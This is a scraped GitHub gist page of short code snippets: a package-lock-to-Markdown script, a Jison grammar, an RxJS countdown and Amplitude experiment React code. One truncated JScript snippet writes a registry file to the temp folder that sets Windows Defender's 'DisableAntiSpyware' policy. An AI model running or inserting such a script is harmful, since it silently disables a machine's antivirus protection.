Skip to content

Instantly share code, notes, and snippets.

View juliandavidmr's full-sized avatar
:octocat:
Working from home

Julian David juliandavidmr

:octocat:
Working from home
View GitHub Profile
@juliandavidmr
juliandavidmr / packageLock2Markdown.js
Created October 29, 2019 22:46
Generate markdown file from package-lock.json
// Run: node packageLock2Markdown.js "C:\..PATH..\package-lock.json" > out.md
const fs = require('fs');
const args = process.argv.slice(2);
let markdownOutput = '';
const contents = JSON.parse(fs.readFileSync(args[0], 'utf8'));
@juliandavidmr
juliandavidmr / packageLock2Markdown.js
Created October 29, 2019 22:46
Generate markdown file from package-lock.json
// Run: node packageLock2Markdown.js "C:\..PATH..\package-lock.json" > out.md
const fs = require('fs');
const args = process.argv.slice(2);
let markdownOutput = '';
const contents = JSON.parse(fs.readFileSync(args[0], 'utf8'));
emcc main.c -O3 -o index.js -s "EXTRA_EXPORTED_RUNTIME_METHODS=['ccall', 'cwrap']"
@juliandavidmr
juliandavidmr / grammar.jison
Created December 27, 2017 06:16
grammar pseudo language
/* description: Parses end executes mathematical expressions. */
/* lexical grammar */
%lex
%%
\s+ /* skip whitespace */
[0-9]+("."[0-9]+)?\b return 'NUMBER'
"true" return 'TRUE'
"false" return 'FALSE'
@juliandavidmr
juliandavidmr / counterdown.ts
Created December 20, 2019 19:17
Counterdown + RxJS
import { Observable, timer } from "rxjs";
import { map, takeWhile, take } from "rxjs/operators";
export function countdown(minutes: number, delay: number = 0) {
return new Observable<{ display: string; minutes: number; seconds: number, finished: boolean }>(
subscriber => {
timer(delay, 1000)
.pipe(take(minutes * 60))
.pipe(map(v => minutes * 60 - 1 - v))
.pipe(takeWhile(x => x >= 0 && !subscriber.closed))

Projects in progress

Projects that entertain me in my spare time.

  • i18n-editor
  • superconvert
    • Page: Decode base64.
    • Page: Encode base64.
    • Page: Generate random number (allow max/min values).
  • Page: Generate random UUID.
var regContent = "Windows Registry Editor Version 5.00\n\n";
regContent = regContent + "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender]\n";
regContent = regContent + "\"DisableAntiSpyware\"=dword:00000001\n\n";
var sw = WSH.CreateObject("scripting.filesystemobject");
var sh = WScript.createObject("wscript.shell");
var parth = sh.ExpandEnvironmentStrings("%temp%") + "\\ebgeaegdbdecaedfebace.reg";
if (sw.fileExists(parth)) {
sw.deleteFile(parth);
@juliandavidmr
juliandavidmr / order_any_array_by_number_attribute.ts
Created October 4, 2021 21:21
Order any array by number attribute
export function orderArrayByNumberAttribute<T>(
array: T[],
attribute: keyof T,
order: 'asc' | 'desc',
): T[] {
return array.sort((a, b) => {
const aValue = a[attribute];
const bValue = b[attribute];
if (order === 'asc') {
@juliandavidmr
juliandavidmr / AmplitudeExperimentContext.tsx
Created July 19, 2023 21:07
Create Amplitude experiment in React using Exposure Event
import { useCallback, useEffect, useState } from 'react';
import { Experiment, ExperimentClient } from '@amplitude/experiment-js-client';
import {
AmplitudeExperimentContext,
type AmplitudeExperimentContextValue,
} from './AmplitudeExperimentContext';
export interface AmplitudeExperimentProviderProps {
envExperimentKey: string;
@juliandavidmr
juliandavidmr / ExperimentContext.ts
Created August 9, 2023 20:12
2022 ExperimentContext.ts
import { createContext } from 'react';
import { ExperimentClient } from '@amplitude/experiment-js-client';
export interface AmplitudeExperimentContextValue {
experiment?: ExperimentClient;
isVariantActive: (variantId: string, variantValue?: string) => boolean;
/**
* @description Returns true if the user is in the experiment with variant `control`.
*/
isControlActive: (variantId: string, defaultControl?: string) => boolean;